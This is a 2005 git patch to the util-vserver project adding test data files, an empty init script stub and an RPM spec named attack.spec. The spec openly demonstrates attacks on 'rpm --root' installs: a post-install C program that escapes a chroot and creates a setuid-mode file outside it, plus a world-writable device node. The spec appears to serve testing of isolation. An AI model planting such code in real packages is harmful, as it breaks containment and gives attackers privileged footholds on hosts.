From db905d5c3dcf12bedf3aa15e9b0f5cda91708fb2 Mon Sep 17 00:00:00 2001 From: Enrico Scholz Date: Sat, 19 Mar 2005 02:16:33 +0000 Subject: [PATCH] added to be removed... git-svn-id: http://svn.linux-vserver.org/svn/util-vserver/trunk@1943 94cd875c-1c1d-0410-91d2-eb244daf1a30 --- .../src/testsuite/data/vserver1/apps/pkgmgmt/style | 1 + .../testsuite/data/vserver1/apps/vunify/exclude | 3 ++ .../testsuite/data/vserver2/apps/vunify/exclude | 1 + util-vserver/src/testsuite/vuname/nodename | 1 + util-vserver/sysv/vkillall | 6 +++ util-vserver/tests/attack.spec | 44 ++++++++++++++++++++++ util-vserver/tests/ulimit/cpu | 1 + 7 files changed, 57 insertions(+) create mode 100644 util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style create mode 100644 util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude create mode 100644 util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude create mode 100644 util-vserver/src/testsuite/vuname/nodename create mode 100755 util-vserver/sysv/vkillall create mode 100644 util-vserver/tests/attack.spec create mode 100644 util-vserver/tests/ulimit/cpu diff --git a/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style b/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style new file mode 100644 index 0000000..8e9ab21 --- /dev/null +++ b/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style @@ -0,0 +1 @@ +redhat diff --git a/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude new file mode 100644 index 0000000..7868af9 --- /dev/null +++ b/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude @@ -0,0 +1,3 @@ +/var ++/etc/termcap +/etc/* diff --git a/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude new file mode 100644 index 0000000..a788427 --- /dev/null +++ b/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude @@ -0,0 +1 @@ +/root/.bash_history diff --git a/util-vserver/src/testsuite/vuname/nodename b/util-vserver/src/testsuite/vuname/nodename new file mode 100644 index 0000000..e12a13e --- /dev/null +++ b/util-vserver/src/testsuite/vuname/nodename @@ -0,0 +1 @@ +sysname_x diff --git a/util-vserver/sysv/vkillall b/util-vserver/sysv/vkillall new file mode 100755 index 0000000..86b0a68 --- /dev/null +++ b/util-vserver/sysv/vkillall @@ -0,0 +1,6 @@ +#!/bin/sh +# chkconfig: - 27 73 +# description: Stops unhandled vservers + + + diff --git a/util-vserver/tests/attack.spec b/util-vserver/tests/attack.spec new file mode 100644 index 0000000..cd062e3 --- /dev/null +++ b/util-vserver/tests/attack.spec @@ -0,0 +1,44 @@ +Summary: Demonstrates attacks against 'rpm --root ...' operations +Name: chroot-attack +Version: 0.1 +Release: 1 +Epoch: 0 +License: GPL +Group: Applications/System +BuildRoot: %_tmppath/%name-%version-%release-root +BuildRequires: dietlibc + +%description + +%prep +%setup -q -c -T + +cat <chroot-attack.c +#include +int main() { + chdir("/"); + chroot("%_bindir"); + chdir("../../.."); + umask(0); + open("got-you", O_CREAT|O_WRONLY, 04777); + return 0; +} +EOF + +%build +diet -Os %__cc $RPM_OPT_FLAGS chroot-attack.c -o chroot-attack + +%install +rm -rf $RPM_BUILD_ROOT +%__install -D -m0755 chroot-attack $RPM_BUILD_ROOT%_bindir/chroot-attack + +%clean +rm -rf $RPM_BUILD_ROOT + + +%post -p %_bindir/chroot-attack + +%files +%defattr(-,root,root,-) +%_bindir/* +%attr(0777, root,root) %dev(c, 3, 0) /mydev diff --git a/util-vserver/tests/ulimit/cpu b/util-vserver/tests/ulimit/cpu new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/util-vserver/tests/ulimit/cpu @@ -0,0 +1 @@ +2 -- 1.8.1.5